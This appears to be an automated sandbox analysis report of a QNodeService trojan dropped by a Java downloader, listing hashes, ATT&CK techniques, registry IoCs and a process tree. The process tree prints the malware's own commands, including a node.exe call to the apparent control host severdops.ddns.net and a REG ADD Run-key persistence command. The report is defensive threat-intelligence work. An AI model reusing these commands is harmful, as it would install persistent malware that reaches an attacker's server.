qnodeservice | 49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77

General

Target

IMG-28102020.jar
Size

72KB
MD5

887b166acc924514a275abbdb1676014
SHA1

b43f7a56b97b635c72628bdde9be1cbc7b5ebd20
SHA256

49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77
SHA512

8f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1624	node.exe
3476	node.exe
576	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\0289f365-56f9-4fbd-9865-86fe743a7a47 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab5b-170.dat	js
behavioral2/files/0x000100000001ab5b-179.dat	js
behavioral2/files/0x000100000001ab5b-183.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1624	node.exe
1624	node.exe
1624	node.exe
1624	node.exe
3476	node.exe
3476	node.exe
3476	node.exe
3476	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe
576	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3884 wrote to memory of 3480	3884	java.exe	75
PID 3884 wrote to memory of 3480	3884	java.exe	75
PID 3480 wrote to memory of 1624	3480	javaw.exe	79
PID 3480 wrote to memory of 1624	3480	javaw.exe	79
PID 1624 wrote to memory of 3476	1624	node.exe	81
PID 1624 wrote to memory of 3476	1624	node.exe	81
PID 3476 wrote to memory of 576	3476	node.exe	82
PID 3476 wrote to memory of 576	3476	node.exe	82
PID 576 wrote to memory of 744	576	node.exe	84
PID 576 wrote to memory of 744	576	node.exe	84
PID 744 wrote to memory of 3936	744	cmd.exe	85
PID 744 wrote to memory of 3936	744	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\IMG-28102020.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3884
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\9dae3bfe.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1624
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3476
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:576
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:744
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/576-184-0x00000294C35C0000-0x00000294C35C1000-memory.dmp

Filesize
4KB

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memory/1624-172-0x000003B0E9200000-0x000003B0E9201000-memory.dmp

Filesize
4KB

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memory/3476-180-0x000001FA75C80000-0x000001FA75C81000-memory.dmp

Filesize
4KB

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